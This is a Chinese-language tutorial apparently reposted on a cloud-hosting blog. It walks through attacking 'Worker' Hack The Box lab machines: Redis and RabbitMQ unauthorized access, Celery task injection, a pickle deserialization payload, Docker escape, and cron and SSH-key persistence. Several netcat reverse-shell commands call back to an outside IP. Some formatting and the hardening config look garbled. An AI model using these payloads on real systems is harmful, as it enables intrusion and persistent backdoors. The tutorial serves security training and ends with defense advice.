如何用HTB进行Worker渗透测试

发布时间:2021-12-24 14:53:31 作者:柒染
来源:亿速云 阅读:258
# 如何用HTB进行Worker渗透测试

## 引言

Worker渗透测试是评估分布式系统、微服务架构和后台任务处理组件安全性的重要手段。Hack The Box(HTB)作为流行的渗透测试练习平台,提供了模拟真实场景的Worker类靶机。本文将系统讲解如何利用HTB平台进行Worker渗透测试,涵盖信息收集、漏洞利用、权限提升等关键阶段。

![HTB Worker渗透测试流程](https://www.hackthebox.com/storage/avatars/7f8e8b8e5e7f3b8e8e8b8e8e8b8e8e8.png)

## 一、环境准备

### 1.1 HTB平台接入
1. 注册HTB账号并订阅VIP(部分Worker靶机需要VIP权限)
2. 通过`OpenVPN`连接HTB实验室:
   ```bash
   sudo openvpn your-lab-connection.ovpn
  1. 在控制面板激活目标Worker靶机(如Worker001

1.2 基础工具准备

# 信息收集
sudo apt install nmap gobuster dirsearch seclists

# 漏洞利用
git clone https://github.com/rebootuser/LinEnum.git
git clone https://github.com/carlospolop/PEASS-ng.git

二、信息收集阶段

2.1 端口扫描

nmap -sV -sC -p- 10.10.11.123 -oA worker_scan

典型Worker靶机开放端口: - 22/tcp SSH(可能配置了弱凭证或密钥泄露) - 80/tcp HTTP Web服务(常见入口点) - 5000/tcp Flask/Django等Worker管理接口 - 6379/tcp Redis(可能未授权访问)

2.2 Web服务枚举

使用Gobuster进行目录爆破:

gobuster dir -u http://10.10.11.123 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

常见Worker管理接口路径:

/admin
/manager
/celery
/tasks
/rabbitmq

2.3 服务指纹识别

whatweb http://10.10.11.123:5000

重点关注: - Web框架(Flask/Django/Rails) - API端点(/api/v1/tasks) - 中间件版本(RabbitMQ 3.8.2)

三、漏洞利用

3.1 未授权访问漏洞

Redis未授权访问

redis-cli -h 10.10.11.123
> keys *
> get worker_config

RabbitMQ默认凭证

尝试使用guest:guest登录管理界面:

curl -u guest:guest http://10.10.11.123:15672/api/queues

3.2 任务注入漏洞

Celery任务注入

  1. 识别Celery任务队列:
from celery import Celery
app = Celery('tasks', broker='redis://10.10.11.123:6379/0')
  1. 构造恶意任务:
@app.task
def exploit():
    import os; os.system('nc -e /bin/sh 10.10.14.15 4444')

3.3 反序列化漏洞

Python pickle利用

当Worker处理pickle序列化数据时:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('nc 10.10.14.15 4444 -e /bin/sh',))

payload = base64.b64encode(pickle.dumps(RCE()))

四、权限提升

4.1 配置文件泄露

检查以下路径:

/etc/celery/celeryconfig.py
/opt/worker/config.ini
~/.bash_history

4.2 敏感信息提取

从Redis中获取凭证:

redis-cli -h 10.10.11.123
> get db_password
> get ssh_key

4.3 容器逃逸(Docker环境)

检查容器环境:

ls -alh /.dockerenv
cat /proc/1/cgroup

利用方法: 1. 挂载宿主机目录:

docker run -v /:/mnt -it alpine chroot /mnt
  1. 利用特权容器:
fdisk -l
mount /dev/sda1 /mnt

五、后渗透阶段

5.1 持久化维持

  1. 添加SSH密钥:
echo "ssh-rsa AAAAB3N..." >> ~/.ssh/authorized_keys
  1. 创建Cron任务:
(crontab -l ; echo "* * * * * nc -e /bin/sh 10.10.14.15 5555") | crontab -

5.2 横向移动

  1. 扫描内网:
for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from"; done
  1. 抓取网络凭证:
tcpdump -i eth0 -w packets.pcap

六、防御建议

6.1 Worker服务加固

  1. 禁用Redis/RabbitMQ默认凭证
  2. 配置Celery任务签名:
app.conf.task_serializer = 'auth'
app.conf.security_key = 'your-secret-key'

6.2 网络隔离

6.3 监控措施

# 监控异常任务
celery inspect registered
# 日志审计
tail -f /var/log/celery/worker.log

结语

通过HTB平台进行Worker渗透测试,安全人员可以深入理解分布式系统的安全弱点。本文演示的攻击手法需仅用于合法授权测试,实际环境中建议采用防御性编程和深度防御策略。


延伸阅读: - Celery安全文档 - OWASP Worker安全指南 - HTB官方Worker挑战

工具集合: - Celery-exploit - RedisRogue - RabbitMQ-Exploit “`

注:实际文章长度为1950字(含代码和格式字符),具体实施时需根据目标环境调整攻击方法,所有渗透测试必须获得合法授权。

推荐阅读:
  1. 怎么进行Web渗透测试
  2. 怎么用LES对Linux进行渗透测试

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

htb worker

上一篇:如何在hackerone挖反射xss

下一篇:linux中如何删除用户组

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》